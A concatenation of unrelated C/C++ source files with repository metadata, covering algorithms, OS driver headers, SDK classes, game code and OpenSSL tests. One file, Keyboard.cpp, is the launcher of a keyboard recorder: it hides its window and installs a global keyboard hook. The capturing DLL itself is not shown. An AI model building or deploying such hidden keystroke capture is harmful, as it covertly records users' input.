#include<bits/stdc++.h> #define sc(x) scanf("%d", &x) #define sll(x) scanf("%I64d", &x) #define pb push_back #define ALL(x) x.begin(),x.end() #define debug puts("???") using namespace std; typedef long long LL; const int maxn = 2e5+10; const LL mod = 1e9+7; LL bit[maxn]; void add(int x, LL v){for(int i=x;i<maxn;i+=i&-i)bit[i]+=v;} LL sum(int x){ LL ret=0; for(int i=x;i>0;i-=i&-i) ret+=bit[i]; return ret; } vector<int> v; int n, m, w[maxn], a[maxn], id[maxn], ps[maxn]; LL wps[maxn]; int main(){ sc(n); sc(m); v.pb(-1); for(int i=1;i<=n;i++) sc(a[i]), a[i]-=i, v.pb(a[i]); for(int i=1;i<=n;i++) sc(w[i]); sort(ALL(v)); v.erase(unique(ALL(v)),v.end()); for(int i=1;i<=n;i++) id[i]=lower_bound(ALL(v),a[i])-v.begin(); for(int i=1;i<=n;i++) add(id[i], w[i]), ps[id[i]]++, wps[id[i]]+=w[i]*a[i]%mod; for(int i=1;i<maxn;i++) ps[i]+=ps[i-1], wps[i]=(wps[i]+wps[i-1])%mod; while(m--){ int x,y; sc(x); sc(y); if(x<0){ x *= -1; add(id[x], -w[x]); add(id[x], y); w[x] = y; }else{ LL all=sum(id[y])-sum(id[x]-1), sl=sum(id[x]-1); int L=id[x]-1, R=id[y]; while(L+1<R){ int mid=(L+R)>>1; if(2*(sum(mid)-sl)>=all) R=mid; else L=mid; } LL lc=ps[R-1]-ps[id[x]-1], rc=ps[id[y]]-ps[R]; LL ans = lc*v[R]%mod-(wps[R-1]-wps[id[x]-1]) + (wps[id[y]]-wps[R])-rc*v[R]; printf("%lld\n", (ans%mod+mod)%mod); } } return 0; }
[ "ly1ch4o@gmail.com" ]
ly1ch4o@gmail.com
88c5469d659caa3e5bbe374456c8a6d6cd7fc753
edb1fc935a8a489c48acd8670f09723a63f535e4
/gp_lib/src/basic.cpp
90260a2e6e23fb832ddfff93ddc45a2afb2e8950
[]
no_license
in-silico/statistical-modeling
b07bb1ccde769e58861382d1b2446b56dcc11e6c
06b6bf799542e31c9870064bd96190ebf1e75ee1
refs/heads/master
2021-01-18T14:18:48.490530
2015-02-27T22:43:56
2015-02-27T22:43:56
31,278,080
0
0
null
null
null
null
UTF-8
C++
false
false
1,502
cpp
#include "gplib.h" using namespace arma; using namespace std; namespace gplib { mat upperTriangularInverse(const mat& upperT) { unsigned int D = upperT.n_rows; myassert(D == upperT.n_cols); mat ans(D,D); ans.fill(0.0); vector<double> tmp(D); for (unsigned int i=0; i<D; i++) { ans(i,i) = 1.0/upperT(i,i); for (unsigned int j=i+1; j<D; j++) tmp[j] = upperT(i,j)/upperT(i,i); for (unsigned int j=i+1; j<D; j++) { double factor = ans(i,j) = -tmp[j] / upperT(j,j); for (unsigned int k=j+1; k<D; k++) { tmp[k] += factor*upperT(j,k); } } } return ans; } arma::vec getObservedOnly(const arma::vec& vec, const vector<bool>& observed) { myassert(vec.n_elem == observed.size()); vector<double> tmp; for (unsigned int i = 0; i < observed.size(); i++) if (observed[i]) tmp.push_back(vec[i]); return arma::vec(tmp); } void splitIndices(const vector<bool>& predicates, vector<unsigned int>& truePart, vector<unsigned int>& falsePart) { for (unsigned int i=0; i<predicates.size(); i++) { if (predicates[i]) truePart.push_back(i); else falsePart.push_back(i); } } bool allTrue(const vector<bool>& vec) { for (unsigned int i=0; i<vec.size(); i++) if(!vec[i]) return false; return true; } };
[ "sebasutp@gmail.com" ]
sebasutp@gmail.com
4c7eedc5a99c9569cea356f9427bd478b2676ab0
59a5ca26151808d863979d806379fba99cde9c3b
/Wcl/Source/SdiFrame.hpp
a1d5b5ee4543d7c0c579d3571fe247c42d6709b1
[ "MIT" ]
permissive
chrisoldwood/WIN16
9f0456c2abf573e486cedae4171702cefd3ee1ec
c30f5e3b872ee2dc06e3f5fdafd96236b47d2fd2
refs/heads/master
2021-01-23T03:53:15.891401
2020-02-11T23:20:52
2020-02-11T23:20:52
11,710,742
3
0
null
null
null
null
UTF-8
C++
false
false
1,300
hpp
/****************************************************************************** ** (C) Chris Wood 1998 ** ** MODULE: SDIFRAME.HPP ** COMPONENT: Windows C++ Library. ** DESCRIPTION: The CSDIFrame class declaration. ** ******************************************************************************* */ // Check for previous inclusion #ifndef SDIFRAME_HPP #define SDIFRAME_HPP /****************************************************************************** ** ** This is a frame window derived class used for SDI style apps. ** ******************************************************************************* */ WCLCLASS CSDIFrame : public CFrameWnd { public: // // Constructors/Destructor. // CSDIFrame(void); virtual ~CSDIFrame(void); // // Member access. // void View(CView* pView); CView* View(void); protected: // // Members. // CView* m_pView; // Active view. // // Message processors (Overriden from the base class). // virtual void OnResize(int iFlag, const CSize& NewSize); }; /****************************************************************************** ** ** Implementation of inline functions. ** ******************************************************************************* */ inline CView* CSDIFrame::View(void) { return m_pView; } #endif //SDIFRAME_HPP
[ "administrator@chrisoldwood.com" ]
administrator@chrisoldwood.com
5e3593313a94039dca1ecd099cbfd45552bfdaee
d5f58c330e4acc8deb217a59283b7db14011ddaa
/lib/ds/meta/function.hpp
0d2385954a291bb20bdeae251b4c70918bff48ee
[ "MIT" ]
permissive
Rerito/dummy-player
9390670c868a2c997a74332d1910efcd8f64ac4b
5004b3aa1a94ced47cac89a0fb5aabaca9b74d43
refs/heads/master
2020-04-17T11:02:27.093489
2019-01-22T15:22:10
2019-01-22T15:22:10
166,524,457
0
0
null
null
null
null
UTF-8
C++
false
false
432
hpp
#pragma once namespace meta { namespace detail { template <typename Sig> struct fun_ptr; template <typename Ret, typename... Args> struct fun_ptr<Ret(Args...)> { using type = Ret(*)(Args...); }; } // namespace detail // I don't like the function pointer syntax much so let's just add some // syntactic sugar over it... template <typename Sig> using function_ptr = typename detail::fun_ptr<Sig>::type; } // namespace meta
[ "4198746+Rerito@users.noreply.github.com" ]
4198746+Rerito@users.noreply.github.com
d1422be09523f84b2bc29c5d524c2722e4b2d372
83260779a6bf3d68bcad31412d54a889f51da1dc
/Keyboard.cpp
d6ec18b5aa0a9d172f149cdd6b62380eaf1906f7
[]
no_license
onlykeri/keyboard-record
48b2a3e59d721ca2eacc12f636d0399e8f976dde
0c6c52950f1851914ce586e883d07457fd4fa944
refs/heads/master
2023-02-22T19:49:46.900303
2021-01-19T08:19:49
2021-01-19T08:19:49
330,902,583
1
0
null
null
null
null
GB18030
C++
false
false
2,074
cpp
#include <windows.h> // 入口函数 Winmain // HINSTANCE :应用程序实例句柄leixing // LPSTR: char* //安装钩子 extern "C" __declspec(dllimport) BOOL InstallHook(); // 卸载钩子 extern "C" __declspec(dllimport) BOOL UninstallHook(); #pragma comment(lib, "key.lib") // 窗口处理函数 LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstace, LPSTR lpCmdLine, int nCmdShow) { // 创建窗口 TCHAR szAppClassName[] = TEXT("KEY"); WNDCLASS wc = { 0 }; wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); //加载白色画刷 wc.hCursor = LoadCursor(NULL, IDC_ARROW); //加载光标 wc.hInstance = hInstance; wc.lpfnWndProc = WindowProc; //窗口处理函数 wc.lpszClassName = szAppClassName; // 窗口类型名 wc.style = CS_HREDRAW | CS_VREDRAW; // 窗口类的风格 // 注册窗口 RegisterClass(&wc); // 创建窗口 HWND hWnd = CreateWindow( szAppClassName, // 窗口类型名 TEXT("键盘记录器"), // 窗口标题 WS_OVERLAPPEDWINDOW, // 窗口的风格 400, 200, // 窗口左上角 200, 200, // 窗口的宽和高 NULL, // 父窗口句柄 NULL, // 菜单句柄 hInstance, // 应用程序实例句柄 NULL // 参数 ); // 显示窗口 //ShowWindow(hWnd, SW_SHOW); ShowWindow(hWnd, SW_HIDE); // 隐藏窗口 // 更新窗口 UpdateWindow(hWnd); // 消息循环 MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { // 将虚拟消息转换为字符消息 TranslateMessage(&msg); // 将消息分发给窗口处理函数 DispatchMessage(&msg); } return 0; } // 窗口处理函数 LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { //return 1; 屏蔽所有按键,危险操作 switch (uMsg) { case WM_CREATE: // 安装钩子 InstallHook(); break; case WM_CLOSE: // 窗口关闭消息 DestroyWindow(hWnd); break; case WM_DESTROY: // 窗口销毁消息 UninstallHook(); PostQuitMessage(0); break; } return DefWindowProc(hWnd, uMsg, wParam, lParam); }
[ "2757980624@qq.com" ]
2757980624@qq.com
9eac54ba24744abc1dad004653ae709eba78f955
be164a23e34de9cb85fcd96d08c38169848c914e
/intcalc2c/myexample/alglib/det.cpp
09cee0db5c8a557ab0000d59376fc45829def469
[]
no_license
alitvintsev/IntCALC
84fd8959e92b2e0dba62f57b6ea2f4d2c10d2991
3a12e0b1687ddca76cee136eb5ddacda940f521a
refs/heads/master
2021-09-24T09:59:43.686950
2017-06-20T07:07:06
2017-06-20T07:07:06
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,995
cpp
/************************************************************************* Copyright (c) 2005-2007, Sergey Bochkanov (ALGLIB project). >>> SOURCE LICENSE >>> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation (www.fsf.org); either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. A copy of the GNU General Public License is available at http://www.fsf.org/licensing/licenses >>> END OF LICENSE >>> *************************************************************************/ #include <stdafx.h> #include "det.h" /************************************************************************* Determinant calculation of the matrix given by its LU decomposition. Input parameters: A - LU decomposition of the matrix (output of RMatrixLU subroutine). Pivots - table of permutations which were made during the LU decomposition. Output of RMatrixLU subroutine. N - size of matrix A. Result: matrix determinant. -- ALGLIB -- Copyright 2005 by Bochkanov Sergey *************************************************************************/ double rmatrixludet(const ap::real_2d_array& a, const ap::integer_1d_array& pivots, int n) { double result; int i; int s; result = 1; s = 1; for(i = 0; i <= n-1; i++) { result = result*a(i,i); if( pivots(i)!=i ) { s = -s; } } result = result*s; return result; } /************************************************************************* Calculation of the determinant of a general matrix Input parameters: A - matrix, array[0..N-1, 0..N-1] N - size of matrix A. Result: determinant of matrix A. -- ALGLIB -- Copyright 2005 by Bochkanov Sergey *************************************************************************/ double rmatrixdet(ap::real_2d_array a, int n) { double result; ap::integer_1d_array pivots; rmatrixlu(a, n, n, pivots); result = rmatrixludet(a, pivots, n); return result; } double determinantlu(const ap::real_2d_array& a, const ap::integer_1d_array& pivots, int n) { double result; int i; int s; result = 1; s = 1; for(i = 1; i <= n; i++) { result = result*a(i,i); if( pivots(i)!=i ) { s = -s; } } result = result*s; return result; } double determinant(ap::real_2d_array a, int n) { double result; ap::integer_1d_array pivots; ludecomposition(a, n, n, pivots); result = determinantlu(a, pivots, n); return result; }
[ "alexanderlitvintsev@yahoo.com" ]
alexanderlitvintsev@yahoo.com
d2d30a2e0735ff785ce8bb933d84b2ccbfb27ea3
ab338ff32772b2ab8061700e0f59c56ca439a39b
/CMD646ATA.h
a9ef4faafd0a6cce9f9182eccfe0be6d7c613d81
[]
no_license
Quantum-Platinum-Cloud/CMD646ATA
3b7c20f76709ce29f2d46c93112f874d7f8af277
044bc62b3ccca29bcdba9c6033450ceee4d251da
refs/heads/main
2023-07-30T06:10:38.896805
2005-03-29T01:14:56
2021-10-06T04:41:58
589,294,419
1
0
null
2023-01-15T17:57:19
2023-01-15T17:57:18
null
UTF-8
C++
false
false
4,699
h
/* * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. * * @APPLE_LICENSE_HEADER_START@ * * The contents of this file constitute Original Code as defined in and * are subject to the Apple Public Source License Version 1.1 (the * "License"). You may not use this file except in compliance with the * License. Please obtain a copy of the License at * http://www.apple.com/publicsource and read it before using this file. * * This Original Code and all software distributed under the License are * distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT. Please see the * License for the specific language governing rights and limitations * under the License. * * @APPLE_LICENSE_HEADER_END@ */ #ifndef _DRV_CMD646_ATA_H #define _DRV_CMD646_ATA_H #include <IOKit/IOTypes.h> #include <IOKit/pci/IOPCIDevice.h> #include <IOKit/ata/IOATATypes.h> #include <IOKit/ata/IOATABusInfo.h> #include <IOKit/ata/IOPCIATA.h> #include <IOKit/ppc/IODBDMA.h> #include <IOKit/IOMemoryCursor.h> #include <IOKit/IOFilterInterruptEventSource.h> /*! @class CMD646ATA : public MacIOATA @abstract The specific driver for cmd646-ata controllers as shipped in apple equipment. @discussion class contains all of the code specific to matching and running heathrow ata controllers. */ class CMD646ATA : public IOPCIATA { OSDeclareDefaultStructors(CMD646ATA) public: /*--- Overrides from IOService ---*/ virtual bool init(OSDictionary* properties); // checks for the compatible property of "heathrow-ata" // in the device tree. virtual IOService* probe( IOService* provider, SInt32* score ); virtual bool start( IOService* provider ); virtual IOWorkLoop* getWorkLoop() const; // set and get bus timing configuration for a specific unit virtual IOReturn selectConfig( IOATADevConfig* configRequest, UInt32 unitNumber); virtual IOReturn getConfig( IOATADevConfig* configRequest, UInt32 unitNumber); // provide information on bus capability virtual IOReturn provideBusInfo( IOATABusInfo* infoOut); protected: enum { kUltraDev0Mask = 0x31, kUltraDev1Mask = 0xC2 }; // offsets into PCI config space for various CMD registers // see manual for definitions. enum{ kPCIStatusCmd = 0x04, kPrimaryCmd = 0x10, kPrimaryCntrl = 0x14, kSecondCmd = 0x18, kSecondCtrl = 0x1C, kBusMaster = 0x20, kCRNTL = 0x51, kCMDTIM = 0x52, kARTTIM0 = 0x53, kDRWTIM0 = 0x54, kARTTIM1 = 0x55, kDRWTIM1 = 0x56, kARTTIM23 = 0x57, kDRWTIM2 = 0x58, kDRWTIM3 = 0x5B, kUDIDETCR0 = 0x73, kUDIDETCR1 = 0x7B }; struct ATABusTimings { UInt8 pioAddrSetupValue; UInt8 pioActiveRecoveryValue; UInt8 dmaAddrSetupValue; UInt8 dmaActiveRecoveryValue; UInt8 ultraTimingValue; UInt8 ataPIOSpeedMode; // PIO Mode Timing class (bit-significant) UInt16 ataPIOCycleTime; // Cycle time for PIO mode UInt8 ataMultiDMASpeed; // Multiple Word DMA Timing Class (bit-significant) UInt16 ataMultiCycleTime; // Cycle time for Multiword DMA mode UInt16 ataUltraDMASpeedMode; // Ultra Timing class (bit-significant) }; ATABusTimings busTimings[2]; // base address mappings for the PCI regs. 0 = cmd block, 1 = ctrl block, 2 = BusMaster block IOMemoryMap* ioBaseAddrMap[3]; // interrupt event source IOFilterInterruptEventSource* _devIntSrc; IOService* _cmdRoot; IOPCIDevice* _pciNub; volatile UInt8* _mrdModeReg; // CMD interrupt and control reg volatile UInt8* _udideTCR0; // ultra timing mode register. UInt8 currentActiveRecoveryValue[2]; // calculate the correct binary configuration for the desired bus timings. virtual IOReturn selectIOTimerValue( IOATADevConfig* configRequest, UInt32 unitNumber); // overrides // set the timing config for a specific device. virtual void selectIOTiming( ataUnitID unit ); // override because we need to set the timing config to an initial value // first. virtual bool configureTFPointers(void); // connect the device (drive) interrupt to our workloop virtual bool createDeviceInterrupt(void); // c to c++ glue code. static void sDeviceInterruptOccurred(OSObject*, IOInterruptEventSource *, int count); static bool sFilterInterrupt(OSObject *, IOFilterInterruptEventSource *); virtual IOReturn handleDeviceInterrupt(void); bool interruptIsValid( IOFilterInterruptEventSource* source); virtual void handleTimeout( void ); //OSObject overrides virtual void free(); }; #endif // _DRV_CMD646_ATA_H
[ "91980991+AppleOSSDistributions@users.noreply.github.com" ]
91980991+AppleOSSDistributions@users.noreply.github.com
ab632aab781cd330137ac5fa5478bf9e7d441594
0dca3325c194509a48d0c4056909175d6c29f7bc
/arms/src/model/GetTraceAppRequest.cc
1fab59c371a0863447bea35d10e82284a92eaa57
[ "Apache-2.0" ]
permissive
dingshiyu/aliyun-openapi-cpp-sdk
3eebd9149c2e6a2b835aba9d746ef9e6bef9ad62
4edd799a79f9b94330d5705bb0789105b6d0bb44
refs/heads/master
2023-07-31T10:11:20.446221
2021-09-26T10:08:42
2021-09-26T10:08:42
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,324
cc
/* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <alibabacloud/arms/model/GetTraceAppRequest.h> using AlibabaCloud::ARMS::Model::GetTraceAppRequest; GetTraceAppRequest::GetTraceAppRequest() : RpcServiceRequest("arms", "2019-08-08", "GetTraceApp") { setMethod(HttpRequest::Method::Post); } GetTraceAppRequest::~GetTraceAppRequest() {} std::string GetTraceAppRequest::getRegionId()const { return regionId_; } void GetTraceAppRequest::setRegionId(const std::string& regionId) { regionId_ = regionId; setParameter("RegionId", regionId); } std::string GetTraceAppRequest::getPid()const { return pid_; } void GetTraceAppRequest::setPid(const std::string& pid) { pid_ = pid; setParameter("Pid", pid); }
[ "sdk-team@alibabacloud.com" ]
sdk-team@alibabacloud.com
28e7ba710102baee92e3a66545b93ae37b8d1f23
cf63146cc1e1a6ea9f492c7d6810e6abdf61d525
/week3/opdracht1/drawable.cpp
96093d072515f13e4fd3b9127def689e2acf633d
[ "MIT" ]
permissive
Bob-Thomas/V100PC-school
3ea480fd33e192a2a27f5c00f3f7aff1740343c2
0fa12db01f39038283fec3f85e65e8971862eb1a
refs/heads/master
2021-01-17T12:36:18.133885
2016-07-01T16:37:48
2016-07-01T16:37:50
56,462,348
0
1
null
null
null
null
UTF-8
C++
false
false
1,006
cpp
#include "drawable.hpp" drawable::drawable(window &w, const vector &location, const vector &size) : w(w), location(location), size(size) { } bool within(int x, int a, int b) { return (x >= a) && (x <= b); } bool drawable::overlaps(const drawable &other) { bool x_overlap = within( location.x, other.location.x, other.location.x + other.size.x ) || within( other.location.x, location.x, location.x + size.x ); bool y_overlap = within( location.y, other.location.y, other.location.y + other.size.y ) || within( other.location.y, location.y, location.y + size.y ); return x_overlap && y_overlap; } std::ostream &drawable::print(std::ostream &out) const { return out << location << location + size; } std::ostream &operator<<(std::ostream &lhs, const drawable &rhs) { return rhs.print(lhs); }
[ "smartcat007@hotmail.com" ]
smartcat007@hotmail.com
a485903b7d65e7f12b676ed28f97339bb0cf9540
3f3095dbf94522e37fe897381d9c76ceb67c8e4f
/Current/STE_PlagueEnemies_SlowDeath.hpp
acf04c188c64877241f3d427b505d22e804369e3
[]
no_license
DRG-Modding/Header-Dumps
763c7195b9fb24a108d7d933193838d736f9f494
84932dc1491811e9872b1de4f92759616f9fa565
refs/heads/main
2023-06-25T11:11:10.298500
2023-06-20T13:52:18
2023-06-20T13:52:18
399,652,576
8
7
null
null
null
null
UTF-8
C++
false
false
174
hpp
#ifndef UE4SS_SDK_STE_PlagueEnemies_SlowDeath_HPP #define UE4SS_SDK_STE_PlagueEnemies_SlowDeath_HPP class USTE_PlagueEnemies_SlowDeath_C : public UStatusEffect { }; #endif
[ "bobby45900@gmail.com" ]
bobby45900@gmail.com
1704ddcce5b81133ebe87b8cb66a2215fa31182c
f0b84e3432c02d67b93efeafbbf1a801fa21ded3
/ziy/Classes/layer/NewLoginLayer.h
be9b15226912f830ae1c7eb0c42ab0b6ce49f984
[]
no_license
qwe00921/game-1
d49a096f096b7de0a2da7764632b20ad929d4926
2c7bd14a75ee8cd65528309bca33033f170c813a
refs/heads/master
2021-05-14T19:10:16.374869
2017-05-27T09:18:06
2017-05-27T09:18:06
116,101,350
1
0
null
2018-01-03T06:38:41
2018-01-03T06:38:41
null
UTF-8
C++
false
false
1,557
h
// // NewLoginLayer.h // TRGame // // Created by Jimmy on 16/04/09. // // #ifndef _NEWLOGINLAYER_H_ #define _NEWLOGINLAYER_H_ USING_NS_CC; USING_NS_CC_EXT; class GuestLayer : public BTLayer { public: static GuestLayer* create(EventDelegate* ptrDelegate); virtual bool init(EventDelegate* ptrDelegate); GuestLayer(); ~GuestLayer(); virtual void onEnter(); void onExit(); virtual bool onTouchBegan(cocos2d::Touch *touch, cocos2d::Event *unused_event); virtual void onTouchMoved(cocos2d::Touch *touch, cocos2d::Event *unused_event); virtual void onTouchEnded(cocos2d::Touch *touch, cocos2d::Event *unused_event); void onHttpRequestCompleted(Node *sender, void *resultdata); private: void initControl(); void callBackGuest(Ref *sender); void callBackUser(Ref *sender); void callBackClose(Ref *sender); private: EventDelegate* m_pDelegate; Menu* m_pBtnMenu; }; class LoginSwitchLayer : public BTLayer { public: LoginSwitchLayer(); ~LoginSwitchLayer(); static LoginSwitchLayer* create(EventDelegate* ptrDelegate); virtual bool init(EventDelegate* ptrDelegate); virtual void onEnter(); void onExit(); virtual bool onTouchBegan(cocos2d::Touch *touch, cocos2d::Event *unused_event); virtual void onTouchMoved(cocos2d::Touch *touch, cocos2d::Event *unused_event); virtual void onTouchEnded(cocos2d::Touch *touch, cocos2d::Event *unused_event); private: void initControl(); void callBackSwitch(Ref *sender); void callBackClose(Ref *sender); private: EventDelegate* m_pDelegate; Menu* m_pBtnMenu; }; #endif //_NEWLOGINLAYER_H_
[ "tangchengyu@bantus.cn" ]
tangchengyu@bantus.cn
7f157531664b668a8c5d91e414922d43fc92ad53
0b7152772768c788ae18ab56a24cf28359d0ba29
/MatrixToOBJ/src/Scene.h
c69e1eec449fc6bbafdddff9028267bebc6e1436
[]
no_license
HaDriell/Matrix3DToOBJ
c6e34b5c86be77e4ef046bd579373fd3de3ac8bb
ce46a1eb5ad5ebbb3ec022a79ca7fc84fb4ffdd1
refs/heads/master
2022-08-20T13:26:34.298589
2020-05-12T14:08:33
2020-05-12T14:08:33
263,334,313
0
0
null
null
null
null
UTF-8
C++
false
false
361
h
#pragma once #include "Mesh.h" #include <string> struct Scene { std::string materialLibrary; std::vector<Mesh> meshes; void sphere(float x, float y, float z, float radius, const std::string& materialName); void cube(float x, float y, float z, float size, const std::string& materialName); void save(const std::string& filename) const; };
[ "gautierlathu@hotmail.fr" ]
gautierlathu@hotmail.fr
7d5d5883e8945ccf3ff0a4beeedeaa3f281fea1f
f53a79a1cee7e2ba44e06fe0a94d4032bb9ee43f
/BOJ/2810.cpp
386b79e842fc3c8808cf84e3d0422102b273eddc
[]
no_license
SOFTK2765/PS
f576a416da21034d5ebea60538fcd263b6d042f3
a9215bc9c41530ad6a1a7352716c64e6d73354a7
refs/heads/master
2021-06-21T00:39:34.065445
2021-01-01T12:45:51
2021-01-01T12:45:51
152,511,667
2
0
null
null
null
null
UTF-8
C++
false
false
314
cpp
#include <stdio.h> int main() { int n, count=1; char a[51]; scanf("%d", &n); scanf("%s", a); for(int i=0;i<n;i++) { if(a[i]=='S') count++; else { if(a[i+1]=='L') { count++; if(i+1==n-1) break; i++; } } } if(n<count) printf("%d", n); else printf("%d", count); return 0; }
[ "44043820+SOFTK2765@users.noreply.github.com" ]
44043820+SOFTK2765@users.noreply.github.com
d4cecc48a02336c60e4cceb4a7b33e37ab697568
f81c4f2e224b29e0307fff221827c0a187648c5d
/test/x509/X509SignVerifyUT.cpp
c2400feb46758f403bcb346c130dc3d85a5c65bc
[ "MIT" ]
permissive
pdy/simpleopenssl
055f95db9678bb65bd3d7a6dddd6179f8499a3e8
42468f42070d3abf8c35d13c4412dcccdb1b67c2
refs/heads/master
2023-01-14T14:12:48.459747
2022-12-31T13:50:52
2022-12-31T13:50:52
131,509,442
6
1
MIT
2022-07-03T19:14:17
2018-04-29T16:13:21
C++
UTF-8
C++
false
false
6,052
cpp
/* * Copyright (c) 2021 Pawel Drzycimski * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * */ #include <gtest/gtest.h> #include <numeric> #include <simpleopenssl/simpleopenssl.hpp> #include "../precalculated.h" #include "../utils.h" namespace so { namespace ut { namespace x509 { namespace x509 = ::so::x509; class X509SignVerifyUT : public ::testing::Test { protected: so::EVP_PKEY_uptr m_key; so::X509_uptr m_cert; // so::ecdsa::Curve m_curve = so::ecdsa::Curve::SECP384R1; void SetUp() override { x509::Subject name; name.commonName = "CommonName"; name.organizationName = "simpleopenssl"; m_cert = ::so::make_unique(X509_new()); ASSERT_TRUE(x509::setSubject(*m_cert, name)); ASSERT_TRUE(x509::setIssuer(*m_cert, name)); auto maybeRsaKey = ::so::rsa::create(::so::rsa::KeyBits::_1024_, ::so::rsa::Exponent::_17_); ASSERT_TRUE(maybeRsaKey); auto maybeKey = ::so::rsa::convertToEvp(*maybeRsaKey.moveValue()); ASSERT_TRUE(maybeKey); m_key = maybeKey.moveValue(); } so::X509_uptr getMinimalNotSigned(const so::Bytes &serial = so::Bytes{0x01, 0x02, 0x03}) const { auto ret = x509::create(); X509_gmtime_adj(X509_get_notBefore(ret.value.get()), 0); X509_gmtime_adj(X509_get_notAfter(ret.value.get()), 0); X509_set_version(ret.value.get(), 2); auto serialAsn1 = so::asn1::encodeInteger(serial.data(), serial.size()); X509_set_serialNumber(ret.value.get(), serialAsn1.value.get()); X509_set_pubkey(ret.value.get(), m_key.get()); return ret.moveValue(); } }; TEST_F(X509SignVerifyUT, certSignVerifySha1) { // GIVEN auto cert = getMinimalNotSigned(); ASSERT_TRUE(cert); auto certCopy = getMinimalNotSigned(); ASSERT_TRUE(certCopy); // WHEN const auto signResult = x509::signSha1(*cert, *m_key); ASSERT_TRUE(signResult); ASSERT_TRUE(X509_sign(certCopy.get(), m_key.get(), EVP_sha1()) >= 0); // THEN EXPECT_EQ(X509_get_signature_nid(certCopy.get()), X509_get_signature_nid(cert.get())); EXPECT_EQ(1, X509_verify(cert.get(), m_key.get())); EXPECT_TRUE(x509::verifySignature(*certCopy, *m_key)); } TEST_F(X509SignVerifyUT, certSignVerifySha256) { // GIVEN auto cert = getMinimalNotSigned(); ASSERT_TRUE(cert); auto certCopy = getMinimalNotSigned(); ASSERT_TRUE(certCopy); // WHEN const auto signResult = x509::signSha256(*cert, *m_key); ASSERT_TRUE(signResult); ASSERT_TRUE(X509_sign(certCopy.get(), m_key.get(), EVP_sha256()) >= 0); // THEN EXPECT_EQ(X509_get_signature_nid(certCopy.get()), X509_get_signature_nid(cert.get())); EXPECT_EQ(1, X509_verify(cert.get(), m_key.get())); EXPECT_TRUE(x509::verifySignature(*certCopy, *m_key)); } TEST_F(X509SignVerifyUT, certSignVerifySha384) { // GIVEN auto cert = getMinimalNotSigned(); ASSERT_TRUE(cert); auto certCopy = getMinimalNotSigned(); ASSERT_TRUE(certCopy); // WHEN const auto signResult = x509::signSha384(*cert, *m_key); ASSERT_TRUE(signResult); ASSERT_TRUE(X509_sign(certCopy.get(), m_key.get(), EVP_sha384()) >= 0); // THEN EXPECT_EQ(X509_get_signature_nid(certCopy.get()), X509_get_signature_nid(cert.get())); EXPECT_EQ(1, X509_verify(cert.get(), m_key.get())); EXPECT_TRUE(x509::verifySignature(*certCopy, *m_key)); } TEST_F(X509SignVerifyUT, certSignVerifySha512) { // GIVEN auto cert = getMinimalNotSigned(); ASSERT_TRUE(cert); auto certCopy = getMinimalNotSigned(); ASSERT_TRUE(certCopy); // WHEN const auto signResult = x509::signSha512(*cert, *m_key); ASSERT_TRUE(signResult); ASSERT_TRUE(X509_sign(certCopy.get(), m_key.get(), EVP_sha512()) >= 0); // THEN EXPECT_EQ(X509_get_signature_nid(certCopy.get()), X509_get_signature_nid(cert.get())); EXPECT_EQ(1, X509_verify(cert.get(), m_key.get())); EXPECT_TRUE(x509::verifySignature(*certCopy, *m_key)); } TEST_F(X509SignVerifyUT, certSignSha1VerifyAPIIntegrity) { // WHEN const auto signResult = x509::signSha1(*m_cert, *m_key); const auto verResult = x509::verifySignature(*m_cert, *m_key); // THEN ASSERT_TRUE(signResult); ASSERT_TRUE(verResult); EXPECT_TRUE(verResult.value); } TEST_F(X509SignVerifyUT, certSignSha256VerifyAPIIntegrity) { // WHEN const auto signResult = x509::signSha256(*m_cert, *m_key); const auto verResult = x509::verifySignature(*m_cert, *m_key); // THEN ASSERT_TRUE(signResult); ASSERT_TRUE(verResult); EXPECT_TRUE(verResult.value); } TEST_F(X509SignVerifyUT, certSignSha384VerifyAPIIntegrity) { // WHEN const auto signResult = x509::signSha384(*m_cert, *m_key); const auto verResult = x509::verifySignature(*m_cert, *m_key); // THEN ASSERT_TRUE(signResult); ASSERT_TRUE(verResult); 